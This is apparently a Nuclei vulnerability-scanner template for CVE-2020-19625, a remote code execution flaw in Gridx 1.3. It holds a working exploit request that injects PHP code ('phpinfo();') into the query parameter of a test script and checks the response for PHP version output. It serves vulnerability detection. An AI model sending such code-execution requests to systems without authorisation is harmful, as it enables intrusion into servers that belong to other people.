id: CVE-2020-19625

info:
  name: Gridx 1.3 - Remote Code Execution
  author: geeknik
  severity: critical
  description: |
    Gridx 1.3 is susceptible to remote code execution via tests/support/stores/test_grid_filter.php, which allows remote attackers to execute arbitrary code via crafted values submitted to the $query parameter.
  reference:
    - https://github.com/oria/gridx/issues/433
    - https://nvd.nist.gov/vuln/detail/CVE-2020-19625
    - http://mayoterry.com/file/cve/Remote_Code_Execution_Vulnerability_in_gridx_latest_version.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-19625
  tags: cve,cve2020,gridx,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/tests/support/stores/test_grid_filter.php?query=phpinfo();"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and
    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '<h1 class=\"p\">PHP Version ([0-9.]+)<\/h1>'

# Enhanced by mp on 2022/04/27